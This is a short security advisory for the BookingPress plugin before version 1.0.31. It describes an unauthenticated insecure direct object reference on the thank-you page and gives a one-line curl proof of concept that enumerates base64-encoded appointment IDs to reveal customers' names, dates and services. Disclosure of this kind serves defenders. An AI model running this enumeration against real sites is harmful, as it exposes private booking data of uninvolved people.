BookingPress < 1.0.31 - Unauthenticated IDOR in appointment_id

The plugin suffers from an Insecure Direct Object Reference (IDOR) vulnerability in it’s thank you page, allowing any visitor to display information about any booking, including full name, date, time and service booked, by manipulating the appointment_id query parameter.

PoC

curl -s “http://host/thank-you/?appointment_id=$(echo 2 | base64 )” | grep “(service|datetime|customer)” changing the number reveals the customer name tied to this appointment if there is no result then this appointment is not reversed yet.